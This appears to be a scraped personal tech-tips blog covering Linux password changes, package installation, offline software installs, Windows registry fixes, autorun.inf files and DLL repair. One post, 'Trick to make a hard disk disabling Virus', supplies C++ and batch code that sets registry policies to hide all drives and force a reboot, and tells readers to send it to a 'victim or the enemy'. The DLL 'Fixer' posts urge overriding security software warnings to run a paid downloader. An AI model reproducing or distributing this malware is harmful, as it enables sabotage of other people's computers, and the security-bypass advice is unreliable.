Set or Change User Password in Linux

      How do I set or change Linux system password for any user account?

Both Linux and UNIX use the passwd command to change user password. The passwd is used to update a user’s authentication token (password) stored in shadow file.

The passwd changes passwords for user and group accounts. A normal user may only change the password for his/her own account, the super user (or root) may change the password for any account. The administrator of a group may change the password for the group. passwd also changes account information, such as the full name of the user, user's login shell, or password expiry date and interval.

Task: Set or Change User Password

Type passwd command as follows to change your own password:
$ passwd
Output:

Changing password for vivek
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully

The user is first prompted for his/her old password, if one is present. This password is then encrypted and compared against the stored password. The user has only one chance to enter the correct password. The super user is permitted to bypass this step so that forgotten passwords may be changed.

A new password is tested for complexity. As a general guideline, passwords should consist of 6 to 8 characters including one or more from each of following sets:

1. Lower case alphabetics
2. Upper case alphabetics
3. Digits 0 thru 9
4. Punctuation marks

Task: Change Password For Other User Account

You must login as root user, type the following command to change password for user vivek:
# passwd vivek
Output:

Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully

Where,

• vivek - is username or account name.

Task: Change Group Password

When the -g option is used, the password for the named group is changed. In this example, change password for group sales:
# passwd -g sales

The current group password is not prompted for. The -r option is used with the -g option to remove the current password from the named group. This allows group access to all members. The -R option is used with the -g option to restrict the named group for all users.

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Nihar Sarkar 9:52:00 am  No comment

How to install a .deb package from Ubuntu Command Line (Terminal)

Debian (.deb) packages are the packages that are used in Ubuntu. You can install any .deb package in your system. .deb files can generally be installed from your file manager (Nautilus) merely by clicking on them, since file associations with the default installer is already set in Ubuntu. These instructions are for those who wish to install packages from the command-line terminal (Terminal).

To install a downloaded Debian (Ubuntu) package (.deb): Open Terminal and type

sudo dpkg -i packagename.deb

To remove a Debian (Ubuntu) package (.deb):

sudo dpkg -r packagename

To Reconfigure/Repair an installed Debian (Ubuntu) package (.deb):

sudo dpkg-reconfigure packagename

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Nihar Sarkar 9:45:00 am  No comment

Install RPM Packages on Ubuntu/Linux Mint

        Ubuntu/Mint Support only deb package installation, If you have some software in rpm package you can install it in Ubuntu/Linux Mint easily. Fedora/Redhat and Mandriva support RPM packages.
In Ubuntu/Linux Mint you can easily install softwares from Software Centers or via PPA. If any software is not available in deb/software center/ppa and it's only available in rpm, than you can easily convert that rpm file to deb package with one command using terminal.

This RPM to DEB Conversion Utility called Alien, Which converts packages from one to the other format. It doesn't mean that convert rpm package will always work on your system. Cause there can be problem of Dependencies or libraries.

To install open Terminal (Press Ctrl+Alt+T) and copy the following command in the Terminal:

Terminal Command:
sudo apt-get install alien dpkg-dev debhelper build-essential

Now convert package from RPM format to Deb format, use the following command. Change your packagename in command:

Terminal Command:
sudo alien packagename.rpm

To install the deb package enter following command:

Terminal Command:
sudo dpkg -i packagename.deb

That't it 

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Nihar Sarkar 9:41:00 am  No comment

How to Use Linux:Problems You'll Face Using Linux Offline

Using Linux Operating System can be a real headache for early beginners when they are not connected to Internet. So I am writing this article covering major problems faced when one has to install software on an offline Linux machine and solutions to them.

When I first met Linux, thing I was screaming for was, where to find the setups of software. As I used to do in Windows, downloading and saving software setups for future installs is quite handy than downloading it every time. But it is hard to do this in Linux for a number of reasons.

Many so called user-friendly Linux Distributions like Ubuntu come without software people (new to Linux) expect preinstalled e.g. Ubuntu come without mp3 plugins and other codecs. So when offline, it is really irritating when one can’t even play his/her favorite music. These include a large number of files which are hard to fetch manually.

Most software are available as source-codes packages on their websites to download and not in binaries. 

Even when it is possible to download .deb/.rpm packages and install them, as Linux uses a shared library system, most packages have lots of dependencies which have to be built and installed before main software. Downloading and building all the dependencies and main software in right order can be a real headache at times.

Source codes are tough to compile for novices and if even they can compile, uninstalled dependencies come in the way.

How to install software on an Offline Linux machine:

Solutions here are focused on Debian based Linux Operating Systems like Ubuntu and other Debian/Ubuntu derivatives.

The main idea is to install or download software on a machine connected to internet and then somehow carry them to the offline computer. Package managers of GNU/Linux distributions like apt-get do a very nice job of downloading and installing software ’with’ their dependencies, and we are going to use their power for our purpose (installing software on offline Linux machine).

Manually copying software installed using apt-get: Software installed on a system through apt-get, aptitude or synaptic etc are saved on hard disk. This method involve manually copy them and installing them on offline machine. However this method is not recommended for novices.

⇒  Install software on Linux system connected to Internet.

⇒ Copy software from apt archives ( var/cache/apt/archives ) to usb drive etc.

⇒ Carry software on offline machine and paste them there.

⇒ Install software using packet managers ( Synaptic recommended).

Using Aptoncd: Aptoncd is a software developed for automating above stated process of backing up software downloaded and installed  using apt-get, and it do this job very well. It is a very nice software with nice GUI interface and easy to use for beginners.

⇒ Open Aptoncd

⇒ Create iso image of apt archives directory

⇒ Burn it to CD/DVD

⇒ Restore to offline computer

⇒Install all packages using one command

           sudo dpkg -i /var/cache/apt/archieves/*.deb

   

Using Keryx: Keryx is a portable, cross platform offline package manager for Debian based Linux distributions (Ubuntu and derivatives). It works on a different principle. Keryx Download software on computer connected to internet (it may be on Linux or Windows) and then install them to offline PC.

⇒ Extract Keryx to a USB drive

⇒ First run Keryx on the offline Linux machine where it make a profile about the Linux  Distribution and software installed on it.

⇒ Then run it on Computer with Internet connection (it may be Windows or Linux) where you  can select and download software.

This method is highly recommended for novices/ beginners as it involve very little manual work. Read complete Keryx tutorial here.

Using Remastersys\Create Custom Live disk: This is my favorite method for backups as I frequently reinstall my Operating System(s) ( I have my reasons). This method involve using a script called Remastersys for making a bootable disk from a system already installed with Debian/Ubuntu/derivatives. In this process all the software installed on the machine also get included in the disk prepared with Remastersys. This is a brilliant method highly recommended for novices.

⇒ Run Remastersys GUI

⇒ Follow the instructions (choose dist option)

⇒ Copy iso image of your custom Live CD/DVD from /usr/home/remastersys/remastersys

⇒ Burn it to disk or make a live USB using Unetbootin

⇒ Install newly born custom Linux Distribution to offline PC 

But as with everything in life, all solutions have their own cons, pros and side effects. It is recommended to read each their tutorials (follow given links) for details.

If I am missing something here, or something I have written wrong, suggestions are more than welcome.

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Nihar Sarkar 9:35:00 am  No comment

How to Enable Regedit

    If you try to open the Registry Editor on your Windows computer and you get a message denying you access, the Regedit program is disabled on your system. You will need to change the configuration of your system to enable Regedit and allow use of the Registry Editor. To enable Regedit on your computer-

Make sure that you are logged in as the administrator on your computer if you are using Windows Vista or Windows 7. Click the "Start" button and then click the arrow button next to the "Shut Down" button. Choose "Switch user" and then click on the administrator account name. Enter the administrator password if prompted.

Click the "Start" button. Click "Run" if you are using Windows XP. Type "GPEdit.msc" in the text box and hit the "Enter" key. If you are using Windows Vista or Windows 7, do not hit the "Enter" key after typing "GPEdit.msc" into the text box. Instead, wait for the "GPEdit.msc" icon to appear and then click it.

Look at the options on the left sidebar on the window "Local Group Policy Editor" that appears. Choose "User Configuration," "Administrative Templates," and then "System."

Find the "Settings" heading in the right side of the window. Scroll down to find the option for "Prevent access to the registry editor" and double click it.

Check to see if the radio button for "Enabled" is checked. If so, click the radio button for either "Disabled" or "Not Configured" and click the "OK" button. Restart your computer so that the changes take effect.

Go back to the "Start" menu. Click "Run" if you are using Windows XP. Type "regedit" into the text box and press the "Enter" key. If you are using Windows Vista or Windows 7, do not hit "Enter" after typing "regedit" in the text box. Instead, wait for the "regedit.exe" icon to appear and double click it to open the Registry Editor. If the screen flashes and asks for permission to access the Registry Editor, click the "Accept" or "Allow" button.

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Nihar Sarkar 8:54:00 pm  No comment

Can't open EXE files

SYMPTOMS
You receive errors, or nothing happens when you start an .EXE file in Windows 7 or Windows Vista. Additionally, you may receive messages saying that you have a virus.

CAUSE
This issue can occur if a virus or other 3rd party application has changed or corrupted some default registry settings.

 Fix the problem

To resolve this issue, you can reset the registry settings to their default settings. To do this, follow these steps.

1. Click the Startbutton and type regedit in the Search box
2. Right-click Regedit.exe in the returned list and click Run as administrator
3. Browse to the following registry key:
   
   HKEY_CLASSES_ROOT\.exe
4. With .exe selected, right-click (Default) and click Modify…
5. Change the Value data: to exefile
6. Browse to and then click on the following registry key:
   
   HKEY_CLASSES_ROOT\exefile
7. With exefileselected, right-click (Default) and click Modify…
8. Change the Value data: to "%1" %*
9. Browse to and then click on the following registry key:
   
   KEY_CLASSES_ROOT\exefile\shell\open
10. With openselected, right-click (Default) and click Modify…
11. Change the Value data: to "%1" %*
12. Close the Registry Editor and restart your PC

• To fix this problem automatically, click the Fix it button or link. Then click Run in the File Download dialog box, and follow the steps in the Fix it wizard.

Notes :

• This wizard may be in English only. However, the automatic fix also works for other language versions of Windows.
• If you are not on the computer that has the problem, save the Fix it solution to a flash drive or a CD and then run it on the computer that has the problem.

~Thank U

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Nihar Sarkar 1:48:00 pm  No comment

Trick to make a hard disk disabling Virus

---

There is Trick to make a Virus which can disable full Hard Disk. This is a Virus made out of C++ coding. This Trick can be used to hack any computer's hard disk and to annoy the friends or enemy. Note : Don't Run this Program on your Computer otherwise you will lose your Windows. I am not Responsible for any Accident caused by this File on your Computer.

Open Notepad. Copy and Paste the following code into Notepad: 

#include<windows.h>
#include<stream.h>
#include<iostream.h>
#include<string.h>
#include<conio.h>
int main()
{
ofstream write ( "C:\\WINDOWS\\system32\\HackDrive.bat" );
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n"; 
write << "REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n";
 write<<"shutdown -r -c \"Sorry your Computer is Hacked by Me!\" -f"<<"\n"; write.close(); //close file ShellExecute(NULL,"open","C:\\WINDOWS\\system32\\HackingStar.bat",NULL,NULL,SW_SHOWNORMAL); 

return 0; 
}

 Save it as HardDiskHack.cpp.
 Compile this file in C++ and create the .exe (HardDiskHack.exe) file. 
Send this file to the victim or the enemy. 

Note : Don't Run so Created HardDiskHack.exe File, otherwise it will attack your Computer itself.
 If you are not a good C++ programmer, then you can also create the Bat Virus. To create it follow these simple steps: 

• Open Notepad. 
• Copy and Paste the following Code into Notepad:

 REG ADD 
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\nREG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\nshutdown -r -c \"Sorry your Computer is Hacked by Me!\" -f 

• Save it as HardDiskHack.bat. 

Now it is done. So it is a simple Trick to make a Virus which can disable full Hard Disk.


                                                                                               

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Nihar Sarkar 10:10:00 am  No comment

How to make an Autorun.inf File

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has a case-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

In this step, we will make a basic, do-nothing Autorun file. All that will change is the name of the USB drive, and the icon that goes with it.

Open Notepad (or Notepad++ or what ever you use) and type the following:

autorun
icon=NAME.ico
label=NAME


BEFORE YOU SAVE IT!
Where it says autorun, insert brackets around the word. I cannot type this in the Instructable, as it the Instructable creating software would turn the word into a link. Refer to the picture for the correct format.

Here is what you typed:
autorun: This states that this is an Autorun file, and what follows describes what the drive will look like and how it will act.

icon: This will change the icon of the drive (in the "My Computer" screen) to a custom one that you choose. The picture you choose must be an icon file (it must have the extension ".ico"). You can get pictures of that format from http://www.iconarchive.com/ and many other websites.

label: This will change the name of the drive to whatever you choose, as long as what you choose does not contain too many characters.

OK. Save the file to the main directory on your drive (as Autorun.inf). Eject the drive, then plug it back in. If you saved it to an internal hard drive, you will have to restart the computer.

If you are adding an icon to the drive, you will need to have an icon file to go use. An icon file is NOT a picture you got off the internet. It must have the extension ".ico". If it does not, then it will not work. Place the icon in the same directory as the Autorun file. Once you have done this, go back into the Autorun file and change the line that says icon=NAME.ico to have the name of the icon (keep the part that has the ".ico".


                                                                                                                                                ~Thanks

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Nihar Sarkar 10:04:00 am  No comment

How can I find out which graphics card I have in my PC?

SketchUp is a graphics-heavy program. Knowing your graphics card can help you troubleshoot odd visual behaviors or recommend a good-performing card to other users. The easiest way to find your graphics card is to run the DirectX Diagnostic Tool:

1. Click Start.
2. On the Start menu, click Run.
   
3. In the Open box, type "dxdiag" (without the quotation marks), and then click OK.
4. The DirectX Diagnostic Tool opens. Click the Display tab.
   
5. On the Display tab, information about your graphics card is shown in the Devicesection. You can see the name of your card, as well as how much video memory it has.

                                        Another process

Go to the windows start button (bottom left of your screen), click it and then select 'control panel' from the menu that pops up. You then need to find the 'display' control panel. If you can't see it, you need to go to the top right of this new window and change the 'View by:' to show 'large icons'. Then you will find it.

Then you need to click on 'change display settings' on the left hand side:

Then select 'advanced settings at the bottom right corner:

You then have a window that shows something like this. In my case, it my video card is an ATI radeon 5700 series. This is the information you need to know, in order to get your video card drivers. The company is likely to be ATI, nvidia or intel, or possibly another less-well known one.

You then need to go to their website and download the FREE drivers. Here are links to the main manufacturers. You are looking for a link that says 'drivers' or 'support and drivers'.

                                For Xp :

For Windows XP: 
There are three steps to updating your video card drivers. Don't worry, its quick and easy. Here goes:

STEP ONE - What Video card do you have?

Presuming you have Windows XP, the quickest way is to right click your windows desktop (wallpaper) and select 'properties' from the drop down menu that appears. A window like this will open:

This is the 'Display control panel' for Windows (its similar for windows 98, me and 95). You want to select the 'settings' tab at the top right of this window...

Now click the button marked 'advanced' at the bottom right...

Ok this window (above) may have a different number of tabs on your PC, click the 'adaptor' tab

Here at the top where it says 'adaptor type', is your video card. In my case, it's a NVIDIA GeForce 6800 GT. Make a note of this.

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Nihar Sarkar 1:27:00 am  No comment

Fix xlive.dll Problem

File description

Games for Windows - LIVE DLL, Microsoft® Games for Windows® - LIVE

• Version: 3.5.0092.0 (WGX_XLIVE_V3.05_RTM(panblder).110928-1730)
• Filesize: 8.37 Mb
• File language: U.S. English

Cause of Xlive.dll Errors

Xlive.dll errors are caused by situations that lead to the removal or corruption of the xlive dll file

In some cases, xlive.dll errors could indicate a registry problem, a virus or malware issue or even a hardware failure.

Using the xlive.dll Fixer

1. Download the xlive.dll Fixer
2. Run the dffsetup-xlive.exe file that was downloaded.
3. Wait for the installation to finish.
4. After the installation has finished the Fixer will automatically launch (this may take a few minutes if you have an older computer). If you have any security software running on your computer (Comodo, ESET, Norton etc.), you may get warnings saying that DLL-files Fixer is trying to connect to internet and/or make changes to your computer. This is because the Fixer needs to contact our server to download the correct xlive.dll file, install it in the Windows system folder and then make changes to the Windows Registry. You should allow the Fixer to make these changes, otherwise your problem may not be solved.
5. When the Fixer has installed xlive.dll on your computer, hopefully, your errors relating toxlive.dll will be gone! You will be given the option to scan your computer for more errros. We encourage you to do so. The trial version of the Fixer will fix up to 15 additional errors it encounters. You can later upgrade to the full version for only RS 999 to get unlimited error fixing and DLL-file downloads.

Still Having Xlive.dll Issues?

See Get More Help for information about contacting me on social networks or via email, posting on tech support forums, and more. Be sure to let me know the exact xlive.dll error message that you're seeing and what steps, if any, you've already taken to fix the problem.

download this dll

                                                                        Get more help                                                        ^_^

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Nihar Sarkar 11:40:00 pm  No comment

Fix d3dx9_31.dll Problem?

File description

Microsoft DirectX 9, v. 9.15.779.0

• Version: 9.15.779.0000
• Filesize: 1.06 Mb
• File language: U.S. English

Cause of D3dx9_31.dll Errors

All d3dx9_31.dll issues are caused in one way or another by a single issue - a problem with Microsoft DirectX.

The d3dx9_31.dll file is one of many files contained in the DirectX software collection. Since DirectX is utilized by most Windows based games and other advanced graphics programs, d3dx9_31.dll errors usually show up only when using these programs.

Using the d3dx9_31.dll Fixer

1. Download the d3dx9_31.dll Fixer
2. Run the dffsetup-d3dx9_31.exe file that was downloaded.
3. Wait for the installation to finish.
4. After the installation has finished the Fixer will automatically launch (this may take a few minutes if you have an older computer). If you have any security software running on your computer (Comodo, ESET, Norton etc.), you may get warnings saying that DLL-files Fixer is trying to connect to internet and/or make changes to your computer. This is because the Fixer needs to contact our server to download the correct d3dx9_31.dll file, install it in the Windows system folder and then make changes to the Windows Registry. You should allow the Fixer to make these changes, otherwise your problem may not be solved.
5. When the Fixer has installed d3dx9_31.dll on your computer, hopefully, your errors relating to d3dx9_31.dll will be gone! You will be given the option to scan your computer for more errros. We encourage you to do so. The trial version of the Fixer will fix up to 15 additional errors it encounters. You can later upgrade to the full version for only RS 999 to get unlimited error fixing and DLL-file downloads.

Still Having D3dx9_31.dll Issues?

See Get More Help for information about contacting me on social networks or via email, posting on tech support forums, and more. Be sure to let me know the exact d3dx9_31.dll error message that you're receiving and what steps, if any, you've already taken to fix it.

  Download this dll                                                                        

                                                                               Get more help                                                         ^_^

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Nihar Sarkar 11:12:00 pm  1 comment